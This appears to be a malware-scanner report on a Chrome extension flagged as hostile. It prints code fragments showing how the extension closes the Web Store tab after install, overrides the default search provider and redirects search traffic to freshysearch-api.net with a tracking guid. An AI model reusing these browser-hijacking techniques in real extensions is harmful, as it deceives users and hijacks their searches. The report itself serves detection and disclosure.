Hostile ^100% chrome Download

oadlamjbejlcfifalhbnmhggeinoegjc

Extension closes Chrome Web Store tab on installExtension redirects main-frame search traffic externally

SHA-256216a1efa04108474e169ba1698fa340acd042af7a9873c9a6f2ddb6f099ff4bf

URLhttps://clients2.google.com/service/update2/crx?response=redirect&prodversion=131.0&acceptformat=crx3&x=id%3Doadlamjbejlcfifalhbnmhggeinoegjc%26installsource%3Dondemand%26uc

MaleculeO₄(CoErIS)H₄(Cm₇Br₈Db₂Po₂)Md₂(Pa₂Pm₅)

Evidence

Extension configuration cookie name ext.js · lines 1–23

1:12… n Class
2
3function extension() {
4    const CONFIG_COOKIE_NAME = "ext_config";
5    const TY_COOKIE_NAME = "ty_url";
6    const FR_COOKIE_NAME = "install_path";
⋯17 lines

References the WebExtension tabs API ext.js · lines 37–52

34… nc () => {
      if (await getSetting("location")) {
          const cwsTabs = await chrome.tabs.query({
              url: `*://chrome.google.com/webstore*${await getSetting(
                  "extId"
              )}*`,
          });
          for (const tab of cwsTabs) {
              if (await getSetting(TY_COOKIE_NAME)) {
                  chrome.tabs.remove(tab.id);
              }
          }
⋯4 lines

HTTP URL string literal ext.js · lines 65–70

              const actionUrl = new URL(
                  `https://api.${this.config.apiDomain}/api/v2/action`
              );
              actionUrl.searchParams.set("action", "consentAccept");
              actionUrl.searchParams.set("tbid", typeTBID);
              actionUrl.searchParams …

Chrome updates dynamic DNR rules ext.js · lines 166–190

19… ait install();
              await setTypeTag();
              const guid = await getSetting("guid", true);
              chrome.declarativeNetRequest.updateDynamicRules({
                  removeRuleIds: [1],
                  addRules: [
                      {
                          id: 1,
                          priority: 1,
                          action: {
                              type: "redirect",
                              redirect: {
                                  regexSubstitution: `https://search.${this.config.apiDomain}/crx/search.php?k=\\1&action=ds&guid=${guid}&firstSearch=true`,
                              },
                          },
                          condition: {
                              regexFilter: `https://search.${this.config.apiDomain}/search/(.*)`,
                              isUrlFilterCaseSensitive: false,
                              resourceTypes: ["main_frame"],
                          },
                      },
⋯4 lines

Chrome default search provider override manifest.json · lines 1–48

⋯26 lines
      "search_provider": {
          "name": "Web",
          "is_default": true,
          "encoding": "UTF-8",
          "keyword": "search",
          "favicon_url": "https://search.freshysearch-api.net/favicon.ico",
          "search_url": "https://search.freshysearch-api.net/search/{searchTerms}",
          "suggest_url": "https://meta.freshysearch-api.net/sug3/?s={searchTerms}"
      }
  },
  "host_permissions": ["*://*.freshysearch-api.net/*"],
  "permissions": [
      "cookies",
      "storage",
      "tabs",
⋯7 lines

No evidence locations were recorded for this file. Raw result